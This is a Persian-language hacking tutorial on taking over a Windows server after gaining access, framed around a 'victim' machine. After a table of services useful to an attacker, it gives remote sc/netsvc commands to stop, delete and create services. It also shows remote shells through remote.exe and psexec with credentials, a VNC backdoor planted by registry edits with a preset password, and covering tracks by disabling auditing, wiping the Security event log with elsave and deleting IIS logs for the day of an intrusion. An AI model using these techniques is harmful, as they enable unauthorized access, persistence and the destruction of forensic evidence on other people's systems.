- یادآوری
این مقاله ادامه مقاله قبلیه! در این درس نیز ما با یک سرور ویندوز به صورت یک کامپیوتر منفرد سروکار داریم و توجهی به کامپیوترهای متصل به اون در شبکهای که هست نداریم.
- سرویسها در ویندوز سرور
برای بعضی کارهای خاص، بعضی سرویسها باید در کامپیوتر قربانی فعال باشند یا ما باید فعالشون کنیم. ( مثلا در درسهای قبلی در مورد schedule service مطالبی رو به شما گفتم. فرمودم! که اگه بخوایم کارهای زمانبندی شده رو در سرور ویندوز انجام بدیم، این سرویس باید بهراه باشه. ) بنابراین از دید یک هکر بعضی سرویسها مهمتر هستند که به اونها خواهیم پرداخت.
اول چند اصطلاح رو باید یاد بگیرید:
۱- Display Name : نام کامل سرویس است. مثلا "Terminal Services" برای ترمینال سرویس ( حروف بزرگ و کوچک مهم است! )
۲- Service Name یا Key Name : نام خلاصه شده و یک کلمهای برای سرویسهاست. مثلا TermService برای ترمینال سرویس ( حروف بزرگ و کوچک مهم است! )
۳- Process Name : اسم یک فایل اجرایی ( با پسوند exe ) که سرویس رو ایجاد کرده است. مثلا svchost.exe برای ترمینال سرویس. ( دقت کنید که ممکن است یک پروسس چند سرویس مختلف رو ایجاد کند )
خوب حالا بهتره بدونید که سیستمعامل موقعی که بالا میاد ( restart میشه ) با توجه به تنظیمات هر سرویس میتونه به سه شکل با اون رفتار کنه:
۱- Automatic : اگر سرویس در این وضعیت تنظیم شده باشد، هر وقت که سرور بالا میاد، سرویس هم به صورت اتوماتیک شروع به کار میکنه.
۲- Manual : اگر سرویس در این وضعیت باشه، به صورت دستی ( یا توسط یک سرویس دیگه ) میشه اونو فعال یا غیر فعال کرد ولی موقع بالا اومدن به صورت پیشفرض غیر فعال خواهد بود.
۳- Disabled : اگه سرویس در این وضعیت باشه، موقع بالا اومدن سیستمعامل، غیر فعال خواهد بود و یک یوزر یا یک سرویس وابسته نمیتونه اونو فعال کنه.
وضعیت سرویسها هم قابل بررسی است:
۱- Running : یعنی الان در وضعیت اجرا است.
۲- Paused : یعنی هنوز در وضعیت اجرا هست ولی کاری رو قبول نمیکنه. برای ادامه کار باید Continue کنیم.
۳- Stopped : یعنی متوقف شده، برای ادامه کار دوبار باید Start بشه.
و ما نسبت به این سرویسها چند تا کار میتونیم انجام بدیم:
۱- Start : یعنی از حالت Stopped خارج بشه و شروع به کار کنه.
۲- Stop : یعنی متوقف بشه.
۳- Pause : یعنی کاری رو قبول نکنه. یه درجه پایین تر از stop است چون برای ادامه کار لازم نیست دوباره فراخوانی بشه ( یعنی آماده کار است ولی موقتا کاری نمیگیره )
۴- Continue : یعنی از حالت Pause خارج شده و در وضعیت Running قرار بگیره.
۵- Delete : یعنی یک سرویس موجود رو پاک کنیم ( اگه بخوایم دوباره بهش دسترسی پیدا کنیم، باید دوباره نصب شود ). با این کار تمام کلیدها و ورودیهای مربوطه از رجیستری پاک میشوند.
۶- Create و Install : عمل عکس Delete رو انجام بدیم. یعنی یک سرویس جدید ایجاد کنیم. با این کار کلیدها و ورودیهای مربوطه به رجیستری اضافه میشوند.
حالا بهتره سرویسهای مهم هکری رو لیست کنم ( این لیست از سایت http://www.ss6A.com گرفته شده است. با کمی تغییرات و اضافات ) :
Display name | Service name | Process name | Description | Status |
Application Management | appmgt | Services.exe or svchost.exe | Installation services (Add/Remove Programs) - Assign, Publish, and Remove. | Manual |
Computer Browser | Browser | Services.exe | Actively collect the names of NetBIOS resources on the network, creating a list so that it can participate as a master browser or basic browser (one that takes part in browser elections). This maintained list of resources (computers) is displayed in Network Neighborhood and Server Manager. | Automatic |
DHCP Client | Dhcp | Services.exe or svchost.exe | Manage network configuration by registering and updating IP addresses and DNS names. | Automatic |
DNS Client | Dnscache | Services.exe | Resolves and caches Domain Name System (DNS) names. | Automatic |
EventLog | EventLog | Services.exe | Record System, Security, and Application Events. Viewed with the MMC Event Viewer (eventvwr.exe in NT). | Automatic |
IIS Admin Service | IISAdmin | %SystemRoot%\System32\inetsrv\inetinfo.exe | Allows administration of Web and FTP services through the Internet Information Services snap-in. | Automatic (if IIS installed) |
Internet Connection Sharing (Internet Connection Firewall) | SharedAccess | svchost.exe -k netsvcs | Network address translation, addressing, and name resolution services for all computers on your home network through a dial-up connection. | Automatic |
IPSEC Policy Agent | PolicyAgent | lsass.exe | Manage IP security policy and starts the ISAKMP/Oakley (IKE) and the IP security driver. | Automatic or Disable |
Kerberos Key Distribution Center | kdc | lsass.exe | Generates session keys and grants service tickets for mutual client/server authentication. | Disable |
Messenger | Messenger | Services.exe | Process the delivery of pop-up messages sent by the Alerter service, or via NET SEND. The messages appear on the recipient's machines, and must be clicked OK to disappear. This service is also required to receive any messages sent by the Messenger service from another machine. This service is not related to Windows Messenger | Automatic |
Network Connections | Netman | svchost.exe -k netsvcs | Manage objects in the Network and Dial-Up Connections folder (LAN and remote connections.) | Manual |
Net Logon | Netlogon | Lsass.exe (Local Security Authority Subsystem) | Network Authentication: maintains a synced domain directory database between the PDC and BDC(s), handles authentication of respective accounts on the DCs, and authenticates domain accounts on networked machines. | Automatic - when connected to a domain. Manual for stand-alone machines. |
NetMeeting Remote Desktop Sharing | Nmnsrvc | mnmsrvc.exe | Allows authorized people to remotely access your Windows desktop using NetMeeting. | Manual or Disabled |
NT LM Security Support Provider | NtLmSsp | Services.exe | Extends NT security to Remote Procedure Call (RPC) programs using various transports other than named pipes. RPC activity is quite common, and most RPC apps don't use named pipes. | Manual |
Protected Storage | ProtectedStorage | Pstores.exe | Encrypt and store secure info: SSL certificates, passwords for Outlook, Outlook Express, Profile Assistant, MS Wallet, and digitally signed S/MIME keys. | Automatic |
Remote Procedure Call (RPC) Locator | RpcLocator | Locator.exe | Maintain the RPC name server database, requires the RPC service (below) to be started. Database of available server applications. | Manual |
Remote Procedure Call (RPC) Service or Remote Procedure Call (RPC) | RpcSs | Rpcss.exe or svchost -k rpcss | This RPC subsystem is crucial to the operations of any RPC activities taking place on a system (DCOM, Server Manager, User Manager) Rpcss.exe is also known as dcomss.exe (Distributed Common Object Model). | Automatic |
Remote Registry Service | RemoteRegistry | regsvc.exe | Allow remote registry manipulation. | Automatic or disabled |
Routing and Remote Access | RemoteAccess | svchost.exe -k netsvcs | Allow incoming connections via dial in or VPN. | Disable for security reasons or Manual |
RunAs Service (Secondary Logon) | secLogon | services.exe or svchost.exe | Enables starting processes under alternate credentials. | Automatic or Disable |
Schedule (Task scheduler) | Schedule | atsvc.exe or mstask.exe | This service is required for the use of the AT command, which allows the scheduling of commands (Jobs) to be run on the machine, at a specific date & time. Under NT it's a Resource Hog. Under XP it's used by some auto-tuning operations. | Automatic |
Security Accounts Manager | SamSs | lsass.exe | Stores security information for local user accounts. | Automatic |
Server | LanmanServer | Services.exe | Support for file sharing, print sharing, and named pipe sharing via SMB services. | Automatic. Disable on an IIS Server or if no resources are shared. |
Simple Mail Transport Protocol (SMTP) | SmtpSvc | %SystemRoot%\System32\inetsrv\inetinfo.exe | Transports electronic mail across the network | Automatic (if IIS installed) |
Simple TCP/IP Services | SimpTcp | tcpsvcs.exe | Supports the following TCP/IP services: Character Generator, Daytime, Discard, Echo, and Quote of the Day. | |
SNMP Service | Snmp | snmp.exe | Agents that monitor the activity in network devices and report to the network console workstation. | Automatic (if installed) |
SNMP Trap Service | Snmptrap | snmptrap.exe | Receives trap messages generated by local or remote SNMP agents and forwards the messages to SNMP management programs running on this computer. | Automatic (if installed) |
System Event Notification | SENS | svchost.exe -k netsvcs | Track system events such as Windows logon, network, and power events. Notifiy COM+ Event System subscribers of these events. | Automatic |
TCP/IP NetBIOS Helper | lmHosts | Services.exe | Support for name resolution via a lookup of the LMHosts file. (Netbios/Wins) This is an alternative to the more standard DNS lookup. | |
Telnet | TlntSvr | tlntsvr.exe | Allows a remote user to log on to the system and run console programs using the command line. | Manual or Disabled. |
Terminal Services | TermService | svchost.exe | Required for Fast User Switching, Remote Desktop and Remote Assistance | Disable |
WebClient (XP) | WebClient | svchost.exe | Allow access to web-resident disk storage from an ISP. WebDAV "internet disks" such as Apple's iDisk. | Disable |
Windows Management Instrumentation | WinMgmt | %SystemRoot%\System32\WBEM\WinMgmt.exe | Provides system management information. | Automatic |
Windows Time | W32time | services.exe | Update the computer clock by reference to an internet time source or a time server. | Automatic or disable |
Workstation | lanmanworkstation | Services.exe | Communications and network connections. Services dependent on this being started: Alerter, Messenger, and Net Logon. | Automatic. or Manual - for a stand-alone PC with no LAN or internet connection. |
World Wide Web Publishing Service | W3Svc | %SystemRoot%\System32\inetsrv\inetinfo.exe | Provides Web connectivity and administration through the Internet Information Services snap-in. | Automatic (if IIS installed) |
sclist sc query winmsdp /s ( file-e be esm-e msdrpt.TXT ijad mikonad, uno bekhunid )- ریموت:
netsvc /list \\xxx.xxx.xxx.xxx
sclist | find "Schedule" sc query Schedule sc query Schedule | find "STATE" sc qc Schedule- ریموت:
netsvc Schedule \\xxx.xxx.xxx.xxx /query netsvc "Task Scheduler" \\xxx.xxx.xxx.xxx /query sc \\xxx.xxx.xxx.xxx query Schedule sc \\xxx.xxx.xxx.xxx query Schedule | find "STATE" sc \\xxx.xxx.xxx.xxx qc Schedule
net stop Schedule net stop "Task Scheduler" sc stop Schedule- ریموت:
netsvc Schedule \\xxx.xxx.xxx.xxx /stop netsvc "Task Scheduler" \\xxx.xxx.xxx.xxx /stop sc \\xxx.xxx.xxx.xxx stop Schedule
net start Schedule net start "Task Scheduler" sc start Schedule- ریموت:
netsvc Schedule \\xxx.xxx.xxx.xxx /start netsvc "Task Scheduler" \\xxx.xxx.xxx.xxx /start sc \\xxx.xxx.xxx.xxx start Schedule
net pause Schedule net pause "Task Scheduler" sc pause Schedule- ریموت:
netsvc Schedule \\xxx.xxx.xxx.xxx /pause netsvc "Task Scheduler" \\xxx.xxx.xxx.xxx /pause sc \\xxx.xxx.xxx.xxx pause Schedule
net continue Schedule net continue "Task Scheduler" sc continue Schedule- ریموت:
netsvc TermsService \\xxx.xxx.xxx.xxx /continue netsvc "Task Scheduler" \\xxx.xxx.xxx.xxx /continue sc \\xxx.xxx.xxx.xxx continue Schedule
sc delete Schedule instsrv Schedule remove delsrv Schedule- ریموت:
sc \\xxx.xxx.xxx.xxx delete Schedule
sc create Schedule binPath=zzzz ( zzzz yani masire file ejrayi marbut be Schedule ) instsrv Schedule zzzzz srvany ???? ( ba in dastur ham mishavad vali man syntax-esho nemidunam )- ریموت:
sc \\xxx.xxx.xxx.xxx create Schedule binPath=zzzz
sc GetKeyName "task scheduler"و جواب چیزی است که من میخوام. حالت برعکس هم داریم، مثلا Key Name رو میدونم که Schedule است، میخوام Display Name رو بگیرم. مینویسم:
sc GetDisplayName scheduleراحت شدیم از سرویسها!
remote /s cmd zzzzzzzzzzzz یعنی هر چیزی که شما دوست داری! وقتی این دستور اجرا شد، تو کامپیوتر خودم مینویسم:
remote /c xxx.xxx.xxx.xxx zzzzzzکه xxx.xxx.xxx.xxx به عنوان ip قربانی است و zzzzz همون چیزی است که تو سرور استفاده کرده بودم. ( nc رو دوست دارم، اینا رو دوست ندارم! )
psexec \\xxx.xxx.xxx.xxx -u Ali -p thepassword cmd.exeو یک شل خطفرمانی بگیرید.
HKEY_USERS\.DEFAULT\Software\ORL\WinVNC3 SocketConnect = REG_DWORD 0x00000001 Password = 0x00000008 0x57bf2d2e 0x9e6cb06eو بعد به کمک regini ( که قبلا گفتم یک ابزار از NTRK است ) به صورت ریموت ( یعنی از کامپیوتر خودمان ) دستور زیر رو اجرا میکنیم:
regini -m \\xxx.xxx.xxx.xxx winvnc.iniحالا که ما تونستیم تغییرات رو در رجیستری اعمال کنیم، باید سرویس رو آغاز کنیم. مینویسیم:
winvnc -install net start winvncو کار تمام است. حالا در کامپیوتر خودمون برنامه vncviewer رو اجرا کرده و حالشو میبریم!
%SystemRoot%\System32\Configدر خود ویندوز به کمک EventViewer ( کافی است در Run بنویسید: eventvwr.msc ) میشه این فایلها رو بررسی کرد. ضمنا تغییر دادن این فایلهای لاگ، نیاز به دسترسی به سیستم در سطح Admin دارند. این ابزار بدرد ما نمیخوره، ما میخوایم ردپاهای خودمون رو پاک کنیم و نیز دسترسی به صورت فیزیکی ( یا توسط یک ریموت کنترل گرافیکی ) به سیستم قربانی نداریم:
auditpol /disableبا این دستور دیگه هیچ گزارشی اضافه نخواهد شد. ( ولی گزارشهای بعدی باقی خواهند ماند ) اگه بخوایم دوباره فعال کنیم،مینویسیم:
auditpol /enableمشخص است که این ابزار باید به صورت لوکال استفاده بشه. یعنی چون ما میخواهیم این کارها رو در سرور قربانی انجام بدیم، این ابزار رو همونجا فرستاده و اجرا میکنیم.
elsave -s \\xxx.xxx.xxx.xxx -l "Security" -Cبه صورت ریموت سکیورتیلاگ رو پاک میکنه ( قبلش باید یک session میداشتم تا این دستور کار کنه) دقت کنید که به صورت لوکال و با دستور del نمیشه این فایلهای لاگ رو پاک کرد!
%SystemRoot%\System32\LogFilesدر این فولدر، زیرشاخهها ( فولدرهای جدیدی ) هست. به این ترتیب که واسه هر سایتی یه فولدر هست. اسم این فولدرها به صورت W3SVC1 و W3SVC2 و ... است. داخل این فولدرها فایلهای لاگ جای دارند. حالت پیشفرض اینه که گزارشهای هر روز سایت داخل یک فایل ذخیره میشه. اسم فایل جور خاصی است که تاریخ ( سال - ماه - روز ) رو نشون بده. مثلا اگه فولدر وربوط به یک سایتی W3SVC1 و تاریخ مورد نظر ما سال ۲۰۰۳ و ماه ۹ و روز ۱۲ باشه، اسم فایل لاگ این خواهد بود:
%SystemRoot%\System32\LogFiles\W3SVC1\ex030912.logبرخلاف فایلهای لاگ ویندوز که با دستور del قابل پاککردن نبود، فایلهای لاگ IIS خیلی شیک با del پاک میشه ( چون ویندوز این فایلها رو Lock نمیکنه). بنابراین ما باید تمام لاگهای مربوط به روز خاصی که جایی رو هک کردهایم رو پاک کنیم!